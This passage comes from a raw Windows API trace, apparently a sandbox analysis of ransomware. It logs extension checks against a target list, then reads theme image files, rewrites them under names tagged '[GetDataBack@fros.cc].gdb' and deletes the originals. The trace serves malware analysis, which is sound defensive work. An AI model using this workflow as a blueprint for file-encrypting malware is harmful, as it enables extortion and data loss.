(lpString1=".zip", lpString2=".GIF") returned 1 [0127.113] lstrlenW (lpString=".rar") returned 4 [0127.113] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.113] lstrlenW (lpString=".bz2") returned 4 [0127.113] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.113] lstrlenW (lpString=".7z") returned 3 [0127.113] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.113] lstrlenW (lpString=".dbf") returned 4 [0127.113] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.114] lstrlenW (lpString=".1cd") returned 4 [0127.114] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.114] lstrlenW (lpString=".jpg") returned 4 [0127.114] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.114] lstrlenW (lpString=".doc") returned 4 [0127.114] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.114] lstrlenW (lpString=".docx") returned 5 [0127.114] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.114] lstrlenW (lpString=".pdf") returned 4 [0127.114] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString=".xls") returned 4 [0127.114] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString=".xlsx") returned 5 [0127.114] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.114] lstrlenW (lpString=".ppt") returned 4 [0127.114] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.114] lstrlenW (lpString=".zip") returned 4 [0127.114] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString=".rar") returned 4 [0127.114] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.114] lstrlenW (lpString=".bz2") returned 4 [0127.114] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.114] lstrlenW (lpString=".7z") returned 3 [0127.114] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.115] lstrlenW (lpString=".dbf") returned 4 [0127.115] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.115] lstrlenW (lpString=".1cd") returned 4 [0127.115] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.115] lstrlenW (lpString=".jpg") returned 4 [0127.115] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.115] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.115] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.115] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=2604) returned 1 [0127.115] CloseHandle (hObject=0x1d4) returned 1 [0127.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0127.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.116] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.116] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.816] GetLastError () returned 0x0 [0127.816] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xa2c, lpOverlapped=0x0) returned 1 [0127.818] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xa30, lpOverlapped=0x0) returned 1 [0127.819] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.819] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0127.820] SetEndOfFile (hFile=0x220) returned 1 [0127.820] CloseHandle (hObject=0x220) returned 1 [0127.820] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.820] SetEndOfFile (hFile=0x1d4) returned 1 [0127.821] CloseHandle (hObject=0x1d4) returned 1 [0127.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString=".doc") returned 4 [0127.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.822] lstrlenW (lpString=".docx") returned 5 [0127.822] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.822] lstrlenW (lpString=".pdf") returned 4 [0127.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.822] lstrlenW (lpString=".xls") returned 4 [0127.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.822] lstrlenW (lpString=".xlsx") returned 5 [0127.822] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.822] lstrlenW (lpString=".ppt") returned 4 [0127.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString=".zip") returned 4 [0127.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.822] lstrlenW (lpString=".rar") returned 4 [0127.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.822] lstrlenW (lpString=".bz2") returned 4 [0127.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.822] lstrlenW (lpString=".7z") returned 3 [0127.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString=".dbf") returned 4 [0127.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString=".1cd") returned 4 [0127.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.822] lstrlenW (lpString=".jpg") returned 4 [0127.823] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.823] lstrlenW (lpString=".doc") returned 4 [0127.823] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.823] lstrlenW (lpString=".docx") returned 5 [0127.823] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.823] lstrlenW (lpString=".pdf") returned 4 [0127.823] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString=".xls") returned 4 [0127.823] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString=".xlsx") returned 5 [0127.823] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.823] lstrlenW (lpString=".ppt") returned 4 [0127.823] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.823] lstrlenW (lpString=".zip") returned 4 [0127.823] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString=".rar") returned 4 [0127.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.823] lstrlenW (lpString=".bz2") returned 4 [0127.823] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.823] lstrlenW (lpString=".7z") returned 3 [0127.823] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.823] lstrlenW (lpString=".dbf") returned 4 [0127.823] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.823] lstrlenW (lpString=".1cd") returned 4 [0127.823] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0127.824] lstrlenW (lpString=".jpg") returned 4 [0127.824] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.824] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0127.824] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0127.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.824] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=34163) returned 1 [0127.824] CloseHandle (hObject=0x1d4) returned 1 [0127.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0127.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.825] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.825] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.825] GetLastError () returned 0x0 [0127.825] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x8573, lpOverlapped=0x0) returned 1 [0127.828] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x8580, lpOverlapped=0x0) returned 1 [0127.830] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.830] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0127.830] SetEndOfFile (hFile=0x220) returned 1 [0127.831] CloseHandle (hObject=0x220) returned 1 [0127.831] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.831] SetEndOfFile (hFile=0x1d4) returned 1 [0127.832] CloseHandle (hObject=0x1d4) returned 1 [0127.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".doc") returned 4 [0127.833] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString=".docx") returned 5 [0127.833] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.833] lstrlenW (lpString=".pdf") returned 4 [0127.833] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString=".xls") returned 4 [0127.833] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.833] lstrlenW (lpString=".xlsx") returned 5 [0127.833] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.833] lstrlenW (lpString=".ppt") returned 4 [0127.833] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".zip") returned 4 [0127.833] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.833] lstrlenW (lpString=".rar") returned 4 [0127.833] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.833] lstrlenW (lpString=".bz2") returned 4 [0127.833] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString=".7z") returned 3 [0127.833] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".dbf") returned 4 [0127.833] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".1cd") returned 4 [0127.833] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".jpg") returned 4 [0127.833] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.833] lstrlenW (lpString=".doc") returned 4 [0127.834] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.834] lstrlenW (lpString=".docx") returned 5 [0127.834] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.834] lstrlenW (lpString=".pdf") returned 4 [0127.834] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.834] lstrlenW (lpString=".xls") returned 4 [0127.834] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.834] lstrlenW (lpString=".xlsx") returned 5 [0127.834] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.834] lstrlenW (lpString=".ppt") returned 4 [0127.834] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.834] lstrlenW (lpString=".zip") returned 4 [0127.834] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.834] lstrlenW (lpString=".rar") returned 4 [0127.834] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.834] lstrlenW (lpString=".bz2") returned 4 [0127.834] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.834] lstrlenW (lpString=".7z") returned 3 [0127.834] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.834] lstrlenW (lpString=".dbf") returned 4 [0127.834] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.834] lstrlenW (lpString=".1cd") returned 4 [0127.834] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0127.834] lstrlenW (lpString=".jpg") returned 4 [0127.834] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.834] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.834] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.835] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=937) returned 1 [0127.835] CloseHandle (hObject=0x1d4) returned 1 [0127.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0127.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.835] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.835] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.837] GetLastError () returned 0x0 [0127.837] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x3a9, lpOverlapped=0x0) returned 1 [0127.840] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x3b0, lpOverlapped=0x0) returned 1 [0127.841] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.841] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0127.841] SetEndOfFile (hFile=0x220) returned 1 [0127.841] CloseHandle (hObject=0x220) returned 1 [0127.842] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.842] SetEndOfFile (hFile=0x1d4) returned 1 [0127.842] CloseHandle (hObject=0x1d4) returned 1 [0127.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0127.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.843] lstrlenW (lpString=".doc") returned 4 [0127.843] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.844] lstrlenW (lpString=".docx") returned 5 [0127.844] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.844] lstrlenW (lpString=".pdf") returned 4 [0127.844] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString=".xls") returned 4 [0127.844] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString=".xlsx") returned 5 [0127.844] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.844] lstrlenW (lpString=".ppt") returned 4 [0127.844] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW 